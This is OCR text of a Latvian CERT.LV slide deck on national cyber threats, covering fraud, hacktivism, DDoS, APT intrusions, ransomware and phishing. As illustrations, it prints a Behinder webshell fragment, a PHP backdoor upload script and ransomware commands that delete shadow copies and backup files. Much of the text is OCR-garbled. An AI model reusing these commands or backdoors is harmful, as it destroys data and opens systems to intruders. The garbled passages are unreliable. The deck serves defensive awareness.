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Draudu izcelsme

Krievija

Baltkrievija*

Ziemelkoreja*

* maznozimiga klatbltne
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Finansiali motiveti uzbrukumi - krapsana

e Finansu pratiba sabiedriba acimredzami klibo
o viltus investiciju un kriptovalutu platformas
e Trukst izpratnes par oficialo iestazu legitimiem sazinas veidiem
o Zvana, uzdodoties par “Valsts policijas” un “Drosibas dienestu”
parstavjiem
o Ari pasam iestadem jademonstré vienotas komunikacijas prakses un
jainforme sabiedriba
e Pakalpojuma darbibas izpratne un daudzfaktoru autentifikacija
pakalpojuma (Smart-ID) izpratne a

Gandriz visos gadijumos uzbrucejam jaizmanto kads doména vards!

DNS ugunsmura lietotne
jau pieejama Apple App Store
un Google Play veikala.

Zaudéejumi 1 mil - 1.5 mil EUR meénesi

lzcila-sadarbiba ar Valsts policiju




Canadian company at the

CERT.LY centre of alleged international
pyramid scheme

Metaverse Foreign Exchange Inc. is alleged to have defrauded hundreds of thousands of victims in Sri Lanka and Bangladesh out of roughly
US$2.7 billion. (lllustration by CTV News)

Intrukcijas Telegram grupas

Finansu operacijas ar
kriptovalutam

Binance ka platforma

Piramidas shema ar atdevi
sakuma un “pelnas bilditem”
paréja laika...

Piedalas pat izglitoti cilveki ar
labi apmaksatu darbu
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Finansiali motiveti uzbrukumi - krapsana

e Sutijumu piegades temats (pakas, pakomati, muita, aizturets sutijums) ir
krapniekiem popularakais. Gadijumi daudzskaitligi, bet nozagtas
summas salidzinoSi nelielas
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ANONY) @xVENDETTAMAFIAX - Nov 21
Operation Latvia... We have all government websites databases from

Achriv[.]gov, Knabl.lgov, Vid[.]gov
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Post your reply
Colli @DatColli - Nov 22
But why?
Q n Q ihi 84
Mikk w Clermont @mikkwallace - Nov 22
Supporting many Ops but
Why Latvia? & ¢
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tantael @ Tantael - Nov 22
But what is the point?
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Ok... Why?
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#Anonymous, please hack Russian & Chinese embassies around the world.
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LATVIJAS
NACIONALAIS
ARHIVS

AKTIVITATES

PAR MUMS
NORMATIVIE AKTI
PAKALPOJUMI

PUBLIKACIJAS UN
STATISTIKA

1ZSTADES
KONFERENCES
ARHIVA
DOKUMENTI

JUSU JAUTAJUMI
MUSU ATBILDES

Haktivisms un dezinformacija

lvarhivs.gov.lv

LATVIJAS VALSTS ARHIVS

Aktualitates >> Aktualitates

® LNA portals

Visas aktualitates un pilna informacija skatama LNA portala: www.arhivi.gov.lv

® Barikadém - 33
Atceroties 1991.g. janvara notikumus: www.archiv.org.lv/barikades

® 25.03.2023 25. marts Komunistiska genocida upuru pieminas diena

Pirms 74 gadiem 1949. gada 25. marta notika otra lielaka Baltijas iedzivotaju
deportacija. Tas organizésana tika veikta saskana ar PSRS Ministru padomes 1949.
gada 29. janvara pilnigi slepeno lemumu Nr. 390-138 "Par kulaku un vinu gimenu,
nelegala stavokli esoSu banditu un nacionalistu gimenu, brunotas sadursmeés nosauto
un notiesato banditu ¢gimenu, legalizéjusos banditu, kas turpina naidigu darbibu, un
vinu ¢gimenu, ka arl represéto banditu atbalstitaju gimenu izstutiSanu no Lietuvas,
Latvijas un Igaunijas teritorijas". Minéetais dokuments glabajas Krievijas Federacijas
Prezidenta arhiva (KFPA) 93. fonda "PSRS Ministru padomes lémumu un rikojumu
kolekcijas".*

* KFPA, 93. fonds. PSRS MP IéEmumu un rikojumu kolekcija. 1949. gads. Publicéts: UcTopus cTanuHckoro
Fynara: KoHeu 1920-xnepsas nonosuHa 1950-x ropos: CobpaHue [OKYMeHTOB B cemu Tomax. 7. 1:
Maccosble penpeccun 8 CCCP. C. 517519.

Latvijas Komunistiskas (bolSeviku) partijas Centralas Komitejas biroja pilnigi slepenais
IEmums no Tpasas mapes par izsttiSanas operacijas rezultatiem

(LVA PA, 101. f, 12. apr., 38. a.l.,, 3. Ip. Publicéts: Latvijas padomju reZima vara:
1945-1986. Dokumentu krajums. Latvijas Véstures institata apgads, 2001. 79. Ipp.)

Publiski pazinota kompromitésana
VID, KNAB

CERT.LV vienas dienas laika
identifice patieso merka sistemu,
uzstada draudu medibu agentus,
identifice uzbruceju TTPs, likvide
apdraudejumu

9 gadus vecs timeklvietnes projekts
ar SQL ievainojamibam

Nav nekada saistiba ar VID un KNAB
sistemam
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Anonymous & .
@YourAnonCentral
Anonymous is in the process of targeting several Georgia government
and institutional websites for their support of Russia. Actions being

taken in solidarity of the people's democratic aspirations.
H#HGeorgiaProtests #0pGeorgia

The Georgian Ministry of Education and Science has been targeted for Anonymous France

their support of Russia. The database has been dumped, all tables

er and something of ours now resides on their systems, silently

observing. ave successfully defaced the website of the municipality of

euli :

M

HACKED BY ANONTYMOUS FRANCE

1:59 PM - Dec 3, 2024 - 52.6K Views

dezinformacija

Anonymous Latvija ==
@YourAnonLatvija

We are #Anonymous, we are #Legion, we do not forgive, we do not forget. Expect
US! 2.0 ==x™® Member of #HellSec team & #ETA |
#0pRussia #0pChildSafety

© 127.0.01 (2 hellsecurity.org Joined December 2023

272 Following 373 Followers

Not followed by anyone you're following

Posts Replies Media

A& Pinned
‘ Anonymous Latvija &= @YourAnonLatvija - Dec 18, 2023
Més to nekad neaizmirsisim, un nekad to nepiedosim!

. Anonymous @YourAnonLAT - Oct 15, 2022

#Latvia #Levit #)V #LatvianGovernment #Anonymous #Anonymiss
#HackThePlanet #DestroySystem
We will never forget it...

=V
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NRET LATViIAS TRUTU
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V== TOP infekcijas & apdraudéjumi
DDOS dalibnieki ir art Latvija + VPN serveri

e Launatiaru TOP10: Konfiguraciju nepilnibas TOP10:

dns-open-resolver

socks5systemz 6796 100000
26815 2805
adload open-cwmp 10000 open-mdns
3066

911-socks5-proxy - 1452 1000

> ssl-poodle 00
pseudomanuscrypt 940 P ! open-ssdp

17384 3480
pseudo_manuscrypt ' 577 - ‘
malware-generic 478 ;
. , 777 . _
apk.hummer 433 9 3555 open-netbios-nameservice
open-smb

android.triada 413
avalanct
avalanche 337 9126 bg19
sality l 314 accessible-ftp 6652 open-snmp

open-rdp




CERT.LY DDoS uzbrukumi

P —— Uzbrukumu iemesls sasaistams ar
O + s = Latvijas palidzibas paketi Ukrainai,

REpla: Televizija Latvijas Radio Treddiena, 11. sept: Varda dienas: Sig

o LSM.lv Latvijas Sabiedriskie Mediji Riga +21°C, D/DR V&[3, 4m/s

SVARIGI » ™= Krievijas iebrukums Ukraina "airBaltic" Valsts budzets 2025 Nodokli  Paraolimpiskas spéles - Parize 2024  Izraélas un "Hamas" kars kas ti ka a psti p ri n éta 1 3 . a u g u Sté - 3 0
aprikotu transportlidzeklu nodosanu
Ukrainai.

Valsts iestaZzu majaslapas piedzivo intensivus
kiberuzbrukumus

Dalities: o o @ O

ELSM~ Public broadcasting of Latvia in Riga +18°€, S wind, S " © » Menu =

IMPORTANT % Border FRallBaltica Festval Summer ™ WarinUkralne  Parls Summer Omplcs 2024 Storm Coslition  President  NATO i the Baltics

TIESRAIDE: Ipaso bérnu nakotne Latvija

Cyber attacks on public sector websites in Latvia

» 1:1.Islandes 6. prezidents Gudni Johannesons Tuesday
» Sodienas jautajums: Kap&c NBS nenotrieca 20:04 share OO QO
Krievijas dronu?
|
wi Krustpunkta: Cik veiksmigi valdiba risina 53:42 |
lielas finansu un ekomomiskas problémas? i

]
» Latvijas paraolimpiedu sagaidisana pie  02:00:00
Brivibas pieminekla

Pieraksties LSM.lv jaunumiem!

4 f X O 0O i§i ¢&inX®

ic annual

s darbiba. ilustrativs

Over €1 mill amimer

Popularakie >

" A!cma lidz 30. septemb(im FTA, Fis 3 Follow Eng.Lsm.Iv on social media!
» y i pieteikties automatiskai parmaksata . _ 3 2
- A S

20. augusts, 16:45 Papildinats 20. augusta, 19:17

 LETA Autori: Latvijas Radio

Intensivu kiberuzbrukumu dél Timeklvietnu vienotas platformas (TVP)
majaslapas periodiski novérojami darbibas trauc&jumi - I&éna darbiba vai vietnu “ \
nepieejamiba, agentiru LETA informé&ja Ministru kabineta.

nodokla atmaksai ugust20.1749 | Deferse  UETA  Authors: SrgLSKlv (Latsion Pubic 5 f X in
Due to intensive cyber attacks, the websites of the unified state

” o platform periodically experience malfunctions - slow operation or
Kam tiek valsts budZets? Cetri valsts inaccessibility of the sites, the Cabinet of Ministers told LETA on August 20 16:08 Latvia has relatively large number of firefighters
sekretari pérn sanéma virs 100 afternoon.

Latest news > oAl
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DDOS uzbrukumu dinamika

Atseviskos
B vilnos joprojam

m skulteport.lv

= vdd.gov.lv T atn é 1 a

M express.pasts.lv p J

B www.ldz.lv w

e uzmaniba tiesi

W mersragsport.lv
S Skultes ostai
W www.citadele.lv
B www.chamber.lv
M cert.lv
B www.ur.gov.lv
= www.liaa.gov.lv
»www.lddk.lv
www.em.gov.lv
= www.edoks.lv
 www.autoosta.lv
mldzlv

B www.tm.gov.lv
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|Izteikta fokusé$anas uz valsts parvaldes iestadém un autentifikacijas pakalpojumiem 2024.g.
Samazinas kvantitate, nedaudz uzlabojas kvalitate un jaudas. ligums lidz 10 dienam ar apjomu

200Gbps

DDOS uzbrukumu dinamika

mRIGA

m JELGAVA

= JORMALA

= LIEPAIA

= OGRE

B VALMIERA

B SALDUS

m REZEKNE

® JAUNMARUPE

W VENTSPILS

u PREILI

B SALACGRIVA

m BROCENI

w JEKABPILS

w SALASPILS
RUJIENA

= SUNISI

u CESIS

W LIELVARDE

u MARUPE

W V2: Mazas iestades

m V3: Vidéjas organizacijas / skolas

W V4: Padvaldibas / zinatne, pétnieciba,

augstskolas / lielas organizacijas /
piegades kédes

W V5: Valdiba / valsts méroga

infrastruktdra / Kl piegades kédes

W V6: Kritiska infrastrktara / NIS objekti
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42 cloudFflare Radar

Overview

Traffic

Security & Attacks

Adoption & Usage
Internet Quality
Email Security = New
Routing

Domain Rankings
Outage Center
URL Scanner

My Connection

Reports

B>V YHRY QL

API

Krievijas caulu kompanijas

StarkNET

O\ Search for locations, autonomous systems, reports, domain and IP address information

Security & Attacks from AS48108

VIRTUALDC

Attack volume o WAF
97%

Relative change from previous period o<

=== Application layer

1% n

0% e - | \ N = DDoS

Wed, Jan 11 Tue, Jan 17 Mon, Jan 23 Sun, Jan 29 sat, Feb 4 Fri, Fi 2%

Application layer attack volume
Layer 7 attack volume trends over time from the selected location or ASN () o

e | yer (7) attack Volume e=» Previous 7 days

Max

0 e ~—— | ‘ [ /\ J\__/

Wed, Jan 11 Sun, Jan 15 Thu, Jan 19 Mon, Jan 23 Fri, Jan 27 Tue, Jan 31 Sat, Feb 4 Wed, Feb 8

2023-01-10 — 2023-02-10

Top source of application layer attacks

Top five locations

Location Percentage
1. Latvia 99.9%
2. Russian Federation 0.1%

Traffic

Insight into the composition of traffic seen by Cloudflare

Mobile vs. Desktop
Mobile device vs. desktop traffic distribution (2) o

Desktop
46.2%

Other
‘ <1%




= Piegades kézu drosiba un ietekmes
operacijas

Replay Latvian Television Latvian Radio Wednesday, July 3 Name day: Verita, Everita, Benita, Eme... LAT PYC

ENG.
LSM.lv In Riga +20°C, SSWwind, 5m/s  Search news... O T N =
— Replay Latvijas Televizija Latvijas Radio Tre3diena, 3. jdlijs Varda dienas: Verita, Everita, Benita, E.. ENG PYC
IMPORTANT > Festival Border RailBaltica Summer European Parliament elections ™= Wi - = T
LSM.lv Riga Jo +20°C, D/IDRVe,5.. gEpNGIIsTPA  Mekiet zinas © 2 s =
Balticom's TV ch Is t il | ; NG Olimpskds spees - Pat : - -
alticom's chanheis emporarl y SVARIGI »> ™= Krievijas iebrukums Ukraina Olimpiskas spéles - Parize 2024  Izraélas un "Hamas" kar3 Vairak v

hacked by Russian propaganda
Share o 0 @ o

® H
b
® D
al
0o\
® N
ac
ot Dienas zinas Dienas zinas
Rigas Riga iebraucot
® A izpilddirektors } ‘D 0:43 / 1:57 Daugava, gajis boja
he palicis bez vietnieka . : cilveks
Ceturtdiena, 18. Svétdiena, 07.
li —e . li
i "TeT" darbibu traucéjis kiberuzbrukums lesaki: k.
satelitam

Dienas zinas




ﬂCERT.LVA
Krievijas ietekmes operacijas, piegades kedes

Televizijas pakalpojuma nodrosinasana ir atkariba no dazadiem 3. pusu
pakalpojumiem

TET Satelita TV incidents (ietekmeéti 3 kanali Latvija, gandriz 30 Ukraina)
Varetu secinat, ka Ukraina bija primarais merkis

Balticom Digitala televizija un arpakalpojums Bulgarijas uzpnemuma
“Like.TV” Like.TV tiek administrets no Maskavas

Balticom partrauc sadarbibu ar “Bulgarijas/Maskavas” uznemumu
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APT dazada veida klatbutne

25% gad

jumu

Ina

Krievija
K

o
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e Gallium
 kompromite lvanti iekartu, Oday ievainojamiba, nekavejoties veic
méginajumus parnemt kontroli dzilak tikla un parvietoties
infrastruktura
 Volt Typhoon
e uzbrik augstakas izglitibas iestadei, méginajumi IPS infrastruktira
e Mustang Panda
* daudzkarteji merktiecigi inficetu e-pastu piegades meéginajumi.
Arlietu, Aizsardzibas, citam tiesas valsts parvaldes iestadem
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e Famous Sparrow / Sparrow Door

« kompromite DVS “Namejs” augstakas izglitibas iestade
(uzbrukuma vektori: Exchange un levainojama timek|vietne)
piebilde: DVS “Namejs” nav bijusi ievainojamiba

 Pasazieru parvadatajiem (uzbrukuma vektors: Zimbra)

e Valsts parvaldes iestadem (uzbrukuma vektors: Zimbra)
e Camaro Dragon

e uzbrukumu méginajumi Arlietu resoram
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* Visa Krievijas kiberoperaciju palete
* Krievija ciesi sadarbojas ar organizeto kibernoziedzibu un tas
aktieru klatbutne identificeta uz kompromitetajam sistemam
Latvija
 Redline Stealer, Raspberry Robin, LOCKBIT, u.c.
 Operaciju parklasanas ar KTR kiberoperacijam un rikiem

 Skietami apzinata un neapzinata operacionala parklasanas
Krievijas un KTR aktieriem



W= Ar Krieviju saistiti kiberuzbrukumi

Riki un sakotneja kompromitesana izteikti saistiti ar Kinas operacijam
bet operacionalie merki pilniba sakrit ar Krievijas interesem

forum.butian.net/share/1853

() ssEnmity 0 @E B RESBRA A 287 [ a] Chinass (Simplifed)

Google Translate

NEFRNREFESDIT—UNEBERRE) @ Sheningutimen

N Behinder.Webshell
p— .., Analyzed in
B CHer AR ST, SR, AT RS SHERTR | :_,_;V‘_chlnese forums,
0501 windowsConfi JspSH . github (chinese)

java.net.*, java V05 &4t

=X, frEZwindowsConfigjsp, config.jsp, [LEEE, AIRMENRT, XEIBBIFLE, LBBETR, =2, FENS
RINZFSaEHR, 2RI, HCHREERELHK. o

<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*,
<%!
private static char[] en = "CEGXgUOIQFswltcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAMGMSNW"
public static String b64en(byte[] data) {
StringBuffer sb = new StringBuffer();
int len = data.length;
int i = 0;
int bi, b2, b3;
while (i < len) {
bl = data[i++] & Oxff;
if (i == len) {
sb.append(en[bl >>> 2]);
sb.append(en[(bl & 0x3) << 4]);
sb.append("==");
break;

3




| EERE Izstradataju drosiba

Ertibas labad resursu uzturétaji labpratigi ievie$ dazadus «backdoor»

 lzstradatajam papildus izveidots lietotaja konts ar augstam tiesibam, briva piek|uve
klienta infrastruktura

 Klients nav informeéts par izstradataja sistemu parvaldibas prakséem

 Piekluve sistemu «backend» serveriem bez pilnvertigas darbibu izsekojamibas un
zurnalésanas

 lespéja administrét sistémas bez saskanosanas ar to turetaju (“labdabigie backdoor”)
 backdoor reizinats ar klientu skaitu!!!




A EEREE Izstradataju drosiba

k2
$dir = dirname(_FILE_ );
require $dir.'/../system/init.php’;

$config = require $dir.'/config.php';
$app = CApp::get($config);

$hash = CHttp::Post('_hash');

1if ($hash = shai(date("dmy"). 2 i ")) {
die;
it

$onUpl = CHttp::Post('_onUpload');
$result = array(

‘ad' =8,

‘status’' = true

)H

$res = Admin_Uploader ::upload();

1if ($onupl) {
$path = CFrontController::parsePath($onuUpl);

$upl = Admin_Uploader::get($res['id']);

$path['params’'] = CData::ensureArray($path[’'params’]);
$path['params’]['_upload'] = $upl;

$admin = new Admin();

$admin — invoke($path['controller'], $path['action’'], $path['params']);
Admin_Uploader:: clean($res['id']);

i}

$result['id'] = $res['id'];

echo json_encode($result);




| EERELA, |lzstradataju drosiba

* lIzstradatajiem izsniegtas doména administratora tiesibas

e Uz izstradataju kontiem neattiecas uznemuma pienemtas parolu izveides politikas
e Atlauts izmantot novecojusas/neuzturetas OS un programmu versijas

* Nepietiekami nodalita izstrades un produkcijas vide




JCERLL. ZZDats datu noplude

Aktivs kriminalprocess, notiek izmeklésana

Sis incidents tie$a veida skaris 42 Latvijas pasvaldibas (iznemot Rigas
valstspilsétas pasvaldibu). Drosibas specialistu veikta analize liecina, ka
atseviskam personam ir bijusi piekluve datiem par dazu pasvaldibu
darbiniekiem (vards, uzvards, struktarvieniba, amats, e-pasta adrese,
telefona numurs), paévaIdTbu iedzivotaju fizisku personu datiem (vards,
uzvards, personas kods, deklaréta adrese), ka art atsevisku pasvaldibu
lietvedibas dokumentu failu aprakstiem (metadatiem).




| EFE ZZDats datu noplude

/B Datu korelacija, merketaka
Aol 4 | un ticamaka krapnieku
s " uzruna

Persona, radinieki,
majsaimnieciba...




Ve SifréjoSie izspiedéjvirusi = zudusi dati un
atklati noslepumi

e Amber Bewerege Group Holding (Latvijas Balzams) 1,4 TB

e Apsardzes pakalpojumu sniedzeji (Exchange CVE-2021-2685)
8GB +

e Vairakas apdrosinasanas kompanijas (Fortinet
CVE-2023-48788) 1TB +




Ve SifréjoSie izspiedéjvirusi = zudusi dati un
komercnoslepumi

C 23 amberbev.com

7)) AMBER

) )

(
K—’// BEVERAGE GROUP ABOUT US BRANDS SALES PRODUCTION DISTRIBUTION

AMBER LATVIJAS BALZAMS

Amber Beverage Group
Holding

AMBER PRODUCTION TEQUILA

Website Directions Save Call
AMBER PRODUCTION REMEDIA

Address: 42 Rue de la vallée, 2661 Hollerich
Luxembourg

Phone: +352 20 60 09 46




=R, Ransomware dzestas kopijas:

Delete Shadows /all /quiet

/s [f /g c\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.”
c:\backup®.” c:\*.set c:\*.win c:\*.dsk

/s If /g d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.*
d:\backup®.” d:\*.set d:\*.win d:\*.dsk

/s If /g e\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.*
e:\backup®.” e:\*.set e:\*.win e:\*.dsk

/s [f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f\Backup®*.* f:\backup*.”
f:\*.set f:\*.win f:\*.dsk

/s If /g g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.*
g:\backup*.* g:\*.set g:\*.win g:\*.dsk

/s If /g h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.*
h:\backup®.” h:\*.set h:\*.win h:\*.dsk

%0




WEEL  Kapéec uzbrukumi ir sekmigi?

hON=

© 00 N O O

10.

Vajas paroles, neesosa daudzfaktoru autentifikacija
Eksponéets RDP un citi parvaldibas riki

levainojams VPN gateway ar Aktivas Direktorijas auth datiem
Administrativa darba kludas (Ugunsmuris, Lietotaju/piekluves tiesibas,
Segmentacija)

Neeksistejosa/nepietiekama drosibas telemetrijas apstrade

Nav rezerves kopiju

Rezerves kopijas nesatur pietiekami daudz datu sistemas atjaunosanai
Savas saimniecibas nezinasana (trukst inventarizacijas)

Nepietiekama programmaturas versiju/atjauninajumu kontrole un ieviesana,
ievainojamibu testésana




EEL Kapec uzbrukumi ir sekmigi?

Netiek pec butibas apstradata sistemu drosibas telemetrija
ligstosi kompromitetas sistemas (netiek pamanits)
Sistemas nedrosi eksponeétas interneta (netiek pamanits)

Programmatiiras ierobezosanas politikas neesamiba (vairums
gadijumu) - lietotajiem ta ir erti

Nedrosas administratoru prakses




WL Kapéc uzbrukumi ir sekmigi?

ﬁ
Initial compromise through
Attacker , Initial = RDP brute force
I compromis

server
_——= = = =

Lateral movement

e
S
[y
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\
p
|

Ransomware
deployment




ﬂCERT.LVA
N-dienas (N-Day)
ievainojamibas

N skaitlis samazinas...

To sekme ari LLM riki




ﬂ CERT.LV,

Programmaturas atjauninajumi var nokavet!

CVE-2024-24919: Check Point Security Gateway Information Disclosure

07.04.2024:
Pirmie zinamie 21.05.2024: 30.05.2024:
uzbrukumi Uzbrukumi Publiski
izmantojot So Latvija eso$am pieejams
ievainojamibu iekartam uzbrukuma PoC

30.04.2024: 28.05.2024: CP 04.06.2024:
Aktivaka sak bridinat Aktiva
ievainojamibas klientus par ievainojamibas
izmantoSana uzbrukumiem, mekléSanas un
uzbrukumos izlaists izmantoSanas
atjauninajums faze




| EEEEE DNS ugunsmuris

Liec muri pret
krapnieka duri!

"«'};o dnsmuris.lv

Krapsanas kampana
WhatsApp platforma

o S - Uzmanieties no
- DNS ugunsmtira lietotne

. e | f krapniekiem! - i
jau pieejama Apple App Store — 3 Vairak ka 30 000 lietotnes
: ‘ H ~ WhatsApp tiek atsutita saite, . -
e .Google Play 'velkala'. kas it ka ved uz konkursa Iej u plades

Sveiki vai j0s varétu Seitnobalsot  Majaslapu. Nakamaja soli e Aizsardziba ikvienam sadarbiba ar
EA BN B e T aicina autentificéties ar savu

pazinu meita. Viniem skola notiek H
konkurss, kura balva ir gada WhatsApp kontu. Saka ru Operato rlem

macibu grants. Liels paldies par

palidzibu! d e 10 000+ atvaiﬁjumi diena
e 17 000+ atvairitas WhatsApp
krapsanas uzbrukumu dienas

#  Lejupielade Lejupieladée ;
[ ¢ App Store V\ Google Play



Temats: Par veidlapas iesniegSanu CSP
Datums:2024-03-26 02:16

No: Centrala statistikas parvalde <-@csp.gov.lv>
Kam:

Bridinajums!
Laundahbigs e-pasts!

Labdien!

Centrala statistikas parvalde informé par valsts statistikas veidlapas iesniegSanuf(pielikuma).

Papildu informacija respondentam par veidlapu iesniegsanu: veidlapas var iesniegt atverot saiti https://e.csb.gov.lv
Ja kadu iemeslu dél nav iespéjams iesniegt parskatus elektroniski, tos var nositit pa pastu uz adresi Lacplésa iela 1, Riga, LV-1010.
Veidlapu paraugi pieejami misu majaslapas sadala “Aptaujas un apsekojumi/Veidlapu katalogs” https://www.csp.gov.lv/lv/katalogs

Centrala statistikas parvalde

Sis e-pasta zinojums ir paredzéts noraditajam adresatam. Tas var saturét konfidencialu informaciju un ta satura pilniga vai daléja nesankcion&ta izpausana, izmanto$ana vai talaka izplati$ana
jebkada veida ir aizliegta. Ja Sis e-pasta zinojums ir sanemts klidas dél, lldzam sazinaties ar ta sititaju, nositot atbildes e-pasta zinojumu, un izdzést So zinojumu. E-pasta zinojumi netiek
paklauti tadam parbaudes procediram ka sarakste papira dokumenta veida. Tapéc Sis e-pasta zinojums nerada nekadas saistibas Centralajai statistikas parvaldei.

This e-mail is intended for the addressee(s) named above. It may contain confidential information, and any unauthorized disclosure, use or dissemination, either in whole or in part, is
prohibited. If you have received this e-mail in error, please notify the sender immediately via e-mail and delete this e-mail from your system. Communications by e-mail are not subject to the
same verification procedures as paper-based communications, therefore this e-mail is in no way whatsoever binding on the Central Statistical Bureau of Latvia.

Inficéts pielikums: 3aja pieméra sititajs vélas maldinat
lietotaju, méginot maskét pielikumu ka PDF failu. Patiesiba
tas ir arhiva fails, kas satur izpildamo EXE failu (kas ar1 ir
datorviruss).




CERT.LV

Cngg_altic

I

To
Reply to CNC

Pirkuma pasutijums / piedavajuma pieprasijums_(PO: 980043) CNC Baltic

Labrtt,

E-pasta adreses nesakrit!

Es ceru, ka 31 zina jOs atradis.

Més nevaréjam sazinaties ar jasu biroju pa talruni, BoSu pateicigs, ja jOs sniegtu aptuvenu cenu par pieprasitajiem produktiem

kas noradrti pievienotaja pirkuma pasotijuma dokumenta. Krépnieku patiesa ad rese
Piedavajuma neaizmirstiet noradit vienibas cenas katrai pasQtitajai precei un apmaksas noteikumus redzama "Reply tou IaUké
un ir orderhandling@gmx.co.uk

Jau iepriek3 pateicamies par jasu atro atbildi

Ar cienu,

bet uznemuma istie e-pasti
beidzas ar @cncbaltic.lv

CNC BALTIC
ol ) ESTONIA

SIA "CNC Baltic"
Adrese: Riga, Juglas iela 14A, LV - 1024
mob.tel. +371 28285687

mob.tel. +371 2976724 i Ol O W 5 - B
e-pasts - @cncbaltic.lv
VAT: LV50103256681

web: cncbaltic.lv

~CAUTION: The information contained in this e-mail and its attachments (if any) is intended solely for the recipient(s) (or responsible for delivery of the message o such person), Access 1o this e-mail by anyone else is unauthorized
It you are not the intended recipient of this message, you are hereby notified that you must not use, disseminate, copy it in any form or take any action in reliance on it
If you have received this message in error please, delete it (and any copies of it} and kindly inform the sender, of this e-mail

Pielikuma paplasinajums .zip
norada uz potenciali kaitigu saturu

1 attachment: Pirkuma pasutijjums_(PO 43) CNC B¢ tic.zip




=% Draudu medibu operacijas

35+ organizacijas
Vairak ka 150 000 galaiekartu analize
APT (citu valstu klatbutne) 25% gadijumos

Valsts drosibas iestazu atbalsts uzbrucéeju merku
noteiksana un atbalsta sniegsanas prioritizéesana

Veicam aktivu iejauksanos un uzbruceja klatbutnes
likvidesanu
Stradajam ka uzbruceéju atturesanas lidzelis

Dalamies ar iegutajam zinasanam par uzbruceéja taktikam
un rikiem, veicinot kolektivo aizsardzibu




CERT.LV

THREAT
HUNT
PLAYBOOK

n WRITTEN IN COLLABORATION BETWEEN LATVIA AND CANADA
BY CERT.LV & CANADIAN CYBER FORCES

Canadi




ACERT.LVA

Kiberincidenti notiks, bet tiem var
sagatavoties

A

Tehnisko un analitisko spéju attistiSana
Kiberdrosibas pakalpojumu attistisana un
pieejamiba

Valsts kiberpolitika un tiesiskais
regulejums

Katras iestades gataviba identificét, reaget
un atkopties pec kiberincidenta
Kiberapzinigas sabiedribas veidoSana
Pilsoniska lidzatbildiba un iesaiste

o o



Meérkauditorija / Pakalpojumu sanéméji

CERT.LV nodrosinatie Nacionalas Valsts un
pakalpojumi kiberdrosibas pasvaldibu Paréjie
likuma subjekti iestades
1 Kiberdrosibas incidentu risinasana un diennakts v v v
atbalsts
2 Koordinéta ievainojamibu atklasana v v v
3 PikSkeréSanas uzbrukumu simulacija v v X
4  Kiberapdraudéjumu simulacija v v x
» DNS ugunsmuris
5.1. DNS ugunsmura pakalpojums ikvienam e e -
Latvijas iedzivotajam un uznémumam
5.2. DNS ugunsmura pakalpojums
ar RPZ tehnologiju tiem, kas pasi uztur v v v
savus DNS rekursivos serverus
6 Informacijas tehnologiju drosibas o o v ¥

apdraudejumu agras bridinasanas sistéma




h CERT.LV,

7 Sabiedribas izglitosana — lekcijas un daliba 7 7 7
pasakumos

8 Latvijas kiberdrosibas kopienas zinapmainas v v v
platforma

9  NTP laika serveris v v v

10  CERT.LV MISP - ar |aunaturu saistitas o v LT
informacijas apmainas platforma

11  Kiberdrogibas draudu medibas v v v ¥ *

12 Dprogibas operaciju centrs (SOC) v v v ¥ ¥

13 Indtvj_strlalas auton'\.zf\tlzacuas ur.l vadibas sistemu . x x
drosibas laboratorijas pakalpojums

14 T sistému drogibas testi v v v *
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